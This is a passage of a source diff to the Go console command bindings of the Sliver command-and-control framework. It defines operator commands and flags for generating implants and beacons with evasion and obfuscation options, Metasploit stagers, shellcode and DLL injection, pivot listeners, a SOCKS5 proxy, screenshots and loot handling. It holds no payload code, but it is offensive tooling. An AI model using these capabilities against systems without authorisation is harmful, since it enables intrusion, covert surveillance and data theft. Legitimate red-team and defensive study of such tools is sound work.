HelpGroup: consts.GenericHelpGroup,
})
// [ Armory ] ---------------------------------------------
armoryCmd := &grumble.Command{
Name: consts.ArmoryStr,
Help: "Automatically download and install extensions/aliases",
LongHelp: help.GetHelpFor([]string{consts.ArmoryStr}),
Flags: func(f *grumble.Flags) {
f.Bool("I", "insecure", false, "skip tls certificate validation")
f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)")
f.Bool("c", "ignore-cache", false, "ignore metadata cache, force refresh")
f.String("t", "timeout", "15m", "download timeout")
},
Run: func(ctx *grumble.Context) error {
con.Println()
armory.ArmoryCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
con.App.AddCommand(armoryCmd)
armoryCmd.AddCommand(&grumble.Command{
Name: consts.InstallStr,
Help: "Install an alias or extension",
LongHelp: help.GetHelpFor([]string{consts.ArmoryStr, consts.InstallStr}),
Flags: func(f *grumble.Flags) {
f.Bool("I", "insecure", false, "skip tls certificate validation")
f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)")
f.Bool("c", "ignore-cache", false, "ignore metadata cache, force refresh")
f.String("t", "timeout", "15m", "download timeout")
},
Run: func(ctx *grumble.Context) error {
con.Println()
armory.ArmoryInstallCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("name", "name of the extension or alias to install")
},
Completer: func(prefix string, args []string) []string {
return armory.AliasExtensionOrBundleCompleter(prefix, args, con)
},
HelpGroup: consts.GenericHelpGroup,
})
armoryCmd.AddCommand(&grumble.Command{
Name: consts.UpdateStr,
Help: "Update installed an aliases and extensions",
LongHelp: help.GetHelpFor([]string{consts.ArmoryStr, consts.UpdateStr}),
Flags: func(f *grumble.Flags) {
f.Bool("I", "insecure", false, "skip tls certificate validation")
f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)")
f.Bool("c", "ignore-cache", false, "ignore metadata cache, force refresh")
f.String("t", "timeout", "15m", "download timeout")
},
Run: func(ctx *grumble.Context) error {
con.Println()
armory.ArmoryUpdateCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
armoryCmd.AddCommand(&grumble.Command{
Name: consts.SearchStr,
Help: "Search for aliases and extensions by name (regex)",
LongHelp: help.GetHelpFor([]string{consts.ArmoryStr, consts.SearchStr}),
Args: func(a *grumble.Args) {
a.String("name", "a name regular expression")
},
Run: func(ctx *grumble.Context) error {
con.Println()
armory.ArmorySearchCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
// [ Update ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
@@ -189,8 +372,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("l", "lport", generate.DefaultWGLPort, "udp listen port")
f.Int("n", "nport", generate.DefaultWGNPort, "virtual tun interface listen port")
f.Int("x", "key-port", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -232,6 +416,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("w", "website", "", "website name (see websites cmd)")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultHTTPLPort, "tcp listen port")
f.Bool("D", "disable-otp", false, "disable otp authentication")
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -254,10 +441,12 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("w", "website", "", "website name (see websites cmd)")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultHTTPSLPort, "tcp listen port")
f.Bool("D", "disable-otp", false, "disable otp authentication")
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
f.String("c", "cert", "", "PEM encoded certificate file")
f.String("k", "key", "", "PEM encoded private key file")
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -277,7 +466,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Start a stager listener",
LongHelp: help.GetHelpFor([]string{consts.StageListenerStr}),
Flags: func(f *grumble.Flags) {
f.String("p", "profile", "", "Implant profile to link with the listener")
f.String("p", "profile", "", "Implant profile name to link with the listener")
f.String("u", "url", "", "URL to which the stager will call back to")
f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
@@ -392,7 +581,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.KillStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
sessions.KillCmd(ctx, con)
kill.KillCmd(ctx, con)
con.Println()
return nil
},
@@ -404,6 +593,32 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
})
openSessionCmd := &grumble.Command{
Name: consts.InteractiveStr,
Help: "Task a beacon to open an interactive session (Beacon only)",
LongHelp: help.GetHelpFor([]string{consts.InteractiveStr}),
Flags: func(f *grumble.Flags) {
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.String("d", "delay", "0s", "delay opening the session (after checkin) for a given period of time")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
sessions.InteractiveCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
}
con.App.AddCommand(openSessionCmd)
// [ Tasks ] --------------------------------------------------------------
tasksCmd := &grumble.Command{
@@ -411,6 +626,10 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Beacon task management",
LongHelp: help.GetHelpFor([]string{consts.TasksStr}),
Flags: func(f *grumble.Flags) {
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -421,6 +640,28 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
}
tasksCmd.AddCommand(&grumble.Command{
Name: consts.FetchStr,
Help: "Fetch the details of a beacon task",
LongHelp: help.GetHelpFor([]string{consts.TasksStr, consts.FetchStr}),
Flags: func(f *grumble.Flags) {
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("id", "beacon task ID", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
tasks.TasksFetchCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(tasksCmd)
// [ Use ] --------------------------------------------------------------
@@ -441,6 +682,9 @@ func BindCommands(con *console.SliverConsoleClient) {
con.Println()
return nil
},
Completer: func(prefix string, args []string) []string {
return use.BeaconAndSessionIDCompleter(prefix, args, con)
},
HelpGroup: consts.GenericHelpGroup,
}
useCmd.AddCommand(&grumble.Command{
@@ -673,11 +917,11 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.ExecuteStr}),
Flags: func(f *grumble.Flags) {
f.Bool("T", "token", false, "execute command with current token (windows only)")
f.Bool("s", "silent", false, "don't print the command output")
f.Bool("o", "output", false, "capture command output")
f.Bool("X", "loot", false, "save output as loot")
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
f.String("o", "stdout", "", "remote path to redirect STDOUT to")
f.String("e", "stderr", "", "remote path to redirect STDERR to")
f.String("O", "stdout", "", "remote path to redirect STDOUT to")
f.String("E", "stderr", "", "remote path to redirect STDERR to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -740,6 +984,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverHelpGroup,
@@ -753,8 +998,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.Bool("s", "save", false, "save output to file")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("filepath", "path the shared library file")
@@ -961,8 +1207,8 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.Int64("D", "days", 0, "beacon interval days")
f.Int64("H", "hours", 0, "beacon interval hours")
f.Int64("M", "minutes", 15, "beacon interval minutes")
f.Int64("S", "seconds", 0, "beacon interval seconds")
f.Int64("M", "minutes", 0, "beacon interval minutes")
f.Int64("S", "seconds", 60, "beacon interval seconds")
f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
// Generate flags
@@ -1009,7 +1255,7 @@ func BindCommands(con *console.SliverConsoleClient) {
})
generateCmd.AddCommand(&grumble.Command{
Name: consts.StagerStr,
Help: "Generate a implant stager using MSF",
Help: "Generate a stager using Metasploit (requires local Metasploit installation)",
LongHelp: help.GetHelpFor([]string{consts.StagerStr}),
Flags: func(f *grumble.Flags) {
f.String("o", "os", "windows", "operating system")
@@ -1020,6 +1266,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("f", "format", "raw", "Output format (msfvenom formats, see `help generate stager` for the list)")
f.String("b", "badchars", "", "bytes to exclude from stage shellcode")
f.String("s", "save", "", "directory to save the generated stager to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -1031,9 +1278,9 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.GenericHelpGroup,
})
generateCmd.AddCommand(&grumble.Command{
Name: consts.CompilerStr,
Name: consts.CompilerInfoStr,
Help: "Get information about the server's compiler",
LongHelp: help.GetHelpFor([]string{consts.CompilerStr}),
LongHelp: help.GetHelpFor([]string{consts.CompilerInfoStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1088,11 +1335,16 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Generate implant from a profile",
LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}),
Flags: func(f *grumble.Flags) {
f.String("p", "name", "", "profile name")
f.String("s", "save", "", "directory/file to the binary to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("name", "name of the profile", grumble.Default(""))
},
Completer: func(prefix string, args []string) []string {
return generate.ProfileNameCompleter(prefix, args, con)
},
Run: func(ctx *grumble.Context) error {
con.Println()
generate.ProfilesGenerateCmd(ctx, con)
@@ -1101,32 +1353,35 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
})
profilesCmd.AddCommand(&grumble.Command{
profilesNewCmd := &grumble.Command{
Name: consts.NewStr,
Help: "Save a new implant profile",
Help: "Create a new implant profile (interactive session)",
LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr}),
Flags: func(f *grumble.Flags) {
// Generate flags
f.String("o", "os", "windows", "operating system")
f.String("a", "arch", "amd64", "cpu architecture")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("s", "skip-symbols", false, "skip symbol obfuscation")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("m", "mtls", "", "mtls domain(s)")
f.String("g", "wg", "", "wg domain(s)")
f.String("H", "http", "", "http[s] domain(s)")
f.String("n", "dns", "", "dns domain(s)")
f.String("c", "canary", "", "canary domain(s)")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.String("c", "canary", "", "canary domain(s)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
f.Int("P", "poll", generate.DefaultPollTimeout, "attempt to poll every n second(s)")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
@@ -1136,10 +1391,11 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("N", "profile-name", "", "profile name")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("name", "name of the profile", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
generate.ProfilesNewCmd(ctx, con)
@@ -1147,7 +1403,67 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
profilesCmd.AddCommand(profilesNewCmd)
// New Beacon Profile Command
profilesNewCmd.AddCommand(&grumble.Command{
Name: consts.BeaconStr,
Help: "Create a new implant profile (beacon)",
LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr, consts.BeaconStr}),
Flags: func(f *grumble.Flags) {
f.Int64("D", "days", 0, "beacon interval days")
f.Int64("H", "hours", 0, "beacon interval hours")
f.Int64("M", "minutes", 0, "beacon interval minutes")
f.Int64("S", "seconds", 60, "beacon interval seconds")
f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
// Generate flags
f.String("o", "os", "windows", "operating system")
f.String("a", "arch", "amd64", "cpu architecture")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("c", "canary", "", "canary domain(s)")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("name", "name of the profile", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
generate.ProfilesNewBeaconCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
profilesCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove a profile",
@@ -1156,7 +1472,10 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("profile-name", "name of the profile")
a.String("name", "name of the profile", grumble.Default(""))
},
Completer: func(prefix string, args []string) []string {
return generate.ProfileNameCompleter(prefix, args, con)
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -1173,6 +1492,13 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "List implant builds",
LongHelp: help.GetHelpFor([]string{consts.ImplantBuildsStr}),
Flags: func(f *grumble.Flags) {
f.String("o", "os", "", "filter builds by operating system")
f.String("a", "arch", "", "filter builds by cpu architecture")
f.String("f", "format", "", "filter builds by artifact format")
f.Bool("s", "only-sessions", false, "filter interactive sessions")
f.Bool("b", "only-beacons", false, "filter beacons")
f.Bool("d", "no-debug", false, "filter builds by debug flag")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -1191,7 +1517,10 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("implant-name", "implant name")
a.String("name", "implant name", grumble.Default(""))
},
Completer: func(prefix string, args []string) []string {
return generate.ImplantBuildNameCompleter(prefix, args, generate.ImplantBuildFilter{}, con)
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -1394,6 +1723,8 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "View network interface configurations",
LongHelp: help.GetHelpFor([]string{consts.IfconfigStr}),
Flags: func(f *grumble.Flags) {
f.Bool("A", "all", false, "show all network adapters (default only shows IPv4)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -1437,6 +1768,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("e", "exe", "", "filter based on executable name")
f.String("o", "owner", "", "filter based on owner")
f.Bool("c", "print-cmdline", false, "print command line arguments")
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1456,6 +1789,8 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.Int("p", "pid", -1, "target pid")
f.String("n", "name", "", "target process name")
f.String("s", "save", "", "save to file (will overwrite if exists)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -1686,6 +2021,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Take a screenshot",
LongHelp: help.GetHelpFor([]string{consts.ScreenshotStr}),
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save to file (will overwrite if exists)")
f.Bool("X", "loot", false, "save output as loot")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -1728,9 +2064,11 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Manage beacons",
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr}),
Flags: func(f *grumble.Flags) {
f.String("k", "kill", "", "kill a beacon")
f.Bool("K", "kill-all", false, "kill all beacons")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
HelpGroup: consts.GenericHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
beacons.BeaconsCmd(ctx, con)
@@ -1753,25 +2091,39 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
})
con.App.AddCommand(beaconsCmd)
// [ Macros ] ---------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.LoadMacroStr,
Help: "Load a sliver macro",
LongHelp: help.GetHelpFor([]string{consts.LoadMacroStr}),
beaconsCmd.AddCommand(&grumble.Command{
Name: consts.WatchStr,
Help: "Watch your beacons",
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr, consts.WatchStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
macros.LoadMacroCmd(ctx, con)
beacons.BeaconsWatchCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("dir-path", "path to the macro directory")
},
HelpGroup: consts.GenericHelpGroup,
})
beaconsCmd.AddCommand(&grumble.Command{
Name: consts.PruneStr,
Help: "Prune stale beacons automatically",
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr, consts.PruneStr}),
Flags: func(f *grumble.Flags) {
f.String("d", "duration", "1h", "duration to prune beacons that have missed their last checkin")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
beacons.BeaconsPruneCmd(ctx, con)
con.Println()
return nil
},
})
con.App.AddCommand(beaconsCmd)
// [ Environment ] ---------------------------------------------
@@ -1963,10 +2315,10 @@ func BindCommands(con *console.SliverConsoleClient) {
// [ Pivots ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.PivotsListStr,
Help: "List pivots",
LongHelp: help.GetHelpFor([]string{consts.PivotsListStr}),
pivotsCmd := &grumble.Command{
Name: consts.PivotsStr,
Help: "List pivots for active session",
LongHelp: help.GetHelpFor([]string{consts.PivotsStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
pivots.PivotsCmd(ctx, con)
@@ -1975,40 +2327,78 @@ func BindCommands(con *console.SliverConsoleClient) {
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("i", "id", "", "session id")
},
HelpGroup: consts.SliverHelpGroup,
})
}
con.App.AddCommand(pivotsCmd)
con.App.AddCommand(&grumble.Command{
pivotsCmd.AddCommand(&grumble.Command{
Name: consts.NamedPipeStr,
Help: "Start a named pipe pivot listener",
LongHelp: help.GetHelpFor([]string{consts.NamedPipeStr}),
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "name of the named pipe")
f.String("b", "bind", "", "name of the named pipe to bind pivot listener")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
pivots.NamedPipeListenerCmd(ctx, con)
pivots.StartNamedPipeListenerCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
pivotsCmd.AddCommand(&grumble.Command{
Name: consts.TCPListenerStr,
Help: "Start a TCP pivot listener",
LongHelp: help.GetHelpFor([]string{consts.TCPListenerStr}),
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.TCPListenerStr}),
Flags: func(f *grumble.Flags) {
f.String("s", "server", "0.0.0.0", "interface to bind server to")
f.Int("l", "lport", generate.DefaultTCPPivotPort, "tcp listen port")
f.String("b", "bind", "", "remote interface to bind pivot listener")
f.Int("l", "lport", generate.DefaultTCPPivotPort, "tcp pivot listener port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
pivots.TCPListenerCmd(ctx, con)
pivots.StartTCPListenerCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
pivotsCmd.AddCommand(&grumble.Command{
Name: consts.StopStr,
Help: "Stop a pivot listener",
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}),
Flags: func(f *grumble.Flags) {
f.Int("i", "id", 0, "id of the pivot listener to stop")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
pivots.StopPivotListenerCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
pivotsCmd.AddCommand(&grumble.Command{
Name: consts.DetailsStr,
Help: "Get details of a pivot listener",
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}),
Flags: func(f *grumble.Flags) {
f.Int("i", "id", 0, "id of the pivot listener to stop")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
pivots.PivotDetailsCmd(ctx, con)
con.Println()
return nil
},
@@ -2182,6 +2572,58 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(portfwdCmd)
// [ Socks ] --------------------------------------------------------------
socksCmd := &grumble.Command{
Name: consts.Socks5Str,
Help: "In-band SOCKS5 Proxy",
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
socks.SocksCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
}
socksCmd.AddCommand(&grumble.Command{
Name: consts.StartStr,
Help: "Start an in-band SOCKS5 proxy",
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
Flags: func(f *grumble.Flags) {
f.String("H", "host", "127.0.0.1", "Bind a Socks5 Host")
f.String("P", "port", "1081", "Bind a Socks5 Port")
f.String("u", "user", "", "socks5 auth username (will generate random password)")
},
Run: func(ctx *grumble.Context) error {
con.Println()
socks.SocksStartCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
socksCmd.AddCommand(&grumble.Command{
Name: consts.StopStr,
Help: "Stop a SOCKS5 proxy",
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
f.Int("i", "id", 0, "id of portfwd to remove")
},
Run: func(ctx *grumble.Context) error {
con.Println()
socks.SocksStopCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(socksCmd)
// [ Monitor ] --------------------------------------------------------------
monitorCmd := &grumble.Command{
@@ -2306,9 +2748,9 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.GenericHelpGroup,
})
lootCmd.AddCommand(&grumble.Command{
Name: consts.LootFetchStr,
Name: consts.FetchStr,
Help: "Fetch a piece of loot from the server's loot store",
LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootFetchStr}),
LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.FetchStr}),
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save loot to a local file")
f.String("f", "filter", "", "filter based on loot type")
@@ -2505,7 +2947,7 @@ func BindCommands(con *console.SliverConsoleClient) {
// [ Get Privs ] -----------------------------------------------------------------
getprivsCmd := &grumble.Command{
Name: consts.GetPrivsStr,
Help: "Get current privileges (Windows)",
Help: "Get current privileges (Windows only)",
LongHelp: help.GetHelpFor([]string{consts.GetPrivsStr}),
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
@@ -2522,13 +2964,13 @@ func BindCommands(con *console.SliverConsoleClient) {
// [ Extensions ] -----------------------------------------------------------------
extensionCmd := &grumble.Command{
Name: consts.ExtensionStr,
Help: "Manage sliver extensions",
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr}),
Name: consts.ExtensionsStr,
Help: "Manage extensions",
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr}),
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ListCmd(ctx, con)
extensions.ExtensionsCmd(ctx, con)
con.Println()
return nil
},
@@ -2536,25 +2978,82 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
}
extensionCmd.AddCommand(&grumble.Command{
Name: consts.ListStr,
Help: "List extensions loaded in the current session or beacon",
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}),
HelpGroup: consts.SliverHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ExtensionsListCmd(ctx, con)
con.Println()
return nil
},
})
extensionCmd.AddCommand(&grumble.Command{
Name: consts.LoadStr,
Help: "Register a new extension",
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr, consts.LoadStr}),
Help: "Temporarily load an extension from a local directory",
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr, consts.LoadStr}),
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.LoadCmd(ctx, con)
extensions.ExtensionLoadCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("dir-path", "path to the extension directory")
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
Completer: func(prefix string, args []string) []string {
